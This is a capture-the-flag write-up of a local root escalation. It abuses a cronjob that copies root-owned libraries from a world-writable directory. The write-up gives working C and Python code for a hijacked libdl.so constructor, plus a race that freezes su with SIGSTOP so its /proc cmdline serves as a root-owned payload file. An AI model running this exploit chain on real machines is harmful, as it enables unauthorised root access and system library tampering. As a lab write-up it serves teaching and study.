First of all, we can figure out that there's a cronjob running every minute and launching following Python script:
```#!/usr/bin/python3import os
DIR = "/opt/data/"
for f in os.listdir(DIR):    if f[:3] != "lib" or ".so" not in f:        continue  # not a library    try:        # prevent race conditions        newLib = open(DIR + f, "rb")         # verify owner is root and not writable by anyone else        if os.fstat(newLib.fileno()).st_uid != 0:            continue        if (os.fstat(newLib.fileno()).st_mode & 0o22) != 0:            continue         newContent = newLib.read()        newLib.close()         # verify it's an ELF        if newContent[:4] != b'\x7f\x45\x4c\x46':            continue         # verify target is an existing library        newPath = "/lib/x86_64-linux-gnu/" + f        if not os.path.isfile(newPath):            continue         # verify the content is new        oldLib = open(newPath, "rb")        oldContent = oldLib.read()        oldLib.close()         if oldContent == newContent:            continue         # write the new content        newLib = open(newPath + "-", "wb")        newLib.write(newContent)        newLib.close()         # exchange the libraries        os.rename(newPath, newPath + "~")        os.rename(newPath + "-", newPath)        os.unlink(newPath + "~")         # deployment complete        os.unlink(DIR + f)    except:        pass```
It looks into 777-directory `/opt/data` and copies root-owned files, which are non-writable for group and for others, to `/lib/x86_64-linux-gnu`.
So the attack vector is clear: create such file from root with hacked library and then wait for `/bin/bash` starts during next launch of cronjob. I've choosed `libdl.so` to hijack because, it is lightweight and used by bash. I've crafted small fake .so file, which runs code at startup using `.init` section. Here it is:```#include <stdio.h>#include <unistd.h>#include <sys/stat.h>
__attribute__ ((constructor)) void sploit() {    rename("/root/flag", "/flag");    chmod("/flag", 0777);}
void dlopen() {}
void dlclose() {}
void dlsym() {}
void dlerror() {}```
To compile: `gcc -c -fPIC lib.c -o lib.o && gcc lib.o -shared -o libdl.so.2`.
Ok, now we need to create file belonging to root with specific permissions. How to do that? Well, if SUID process starts, files in `/proc/.../*` have root owner. So we can start `/usr/bin/su` with such environment variables that `/proc/.../environ` contains the payload. But inside docker container it's impossible to read that pseudofile. So we need another way to that.
After several minutes research I've found `/proc/.../cmdline`. But su fails immediately if pass invalid arguments. I've ended up with tricky race condition to bypass this:1. fork + execve `/usr/bin/su` with crafted argv.2. Busy-wait a little via `sched_yield`.3. Send `SIGSTOP` to freeze su process while it is validating arguments.
Python script for crafting `/proc/.../cmdline`. It uses idea that each argument from `argv` is written with trailing `\0`. So, empty string represents single zero byte.```with open("libdl.so.2", "rb") as f:    content = f.read()
chunks = []chunk = b""for ch in content:    if ch == 0:        chunks.append(chunk)        chunk = b""    else:        chunk += bytes([ch])chunks.append(chunk)
def f(chunk):    return '"{}"'.format("".join(map(lambda x: "\\x" + hex(x)[2:], chunk)))
print("{", ", ".join(map(f, chunks)), "}")
```
Final exploit was:```#include <unistd.h>#include <stdio.h>#include <signal.h>#include <sched.h>#include <sys/wait.h>
int main() {    // empty string = zero byte    char* argv[] = { "\x7f\x45\x4c\x46\x2\x1\x1", "", "", "", "", "", "", "", /* payload */, NULL };    char* envp[] = { "\x7f\x45\x4c\x46", NULL };
    for (;;) {        char buf[1000];        pid_t pid = fork();        if (pid == 0) {            execve("/usr/bin/su", argv, envp);        } else {            for (size_t i = 0; i < 100; i++) {                sched_yield();            }            kill(pid, SIGSTOP);            int n = sprintf(buf, "/proc/%d/cmdline", pid);            buf[n] = '\0';            char l[] = "/opt/data/libdl-2.31.so";            unlink(l);            symlink(buf, l);            wait(NULL);        }    }    return 0;}
``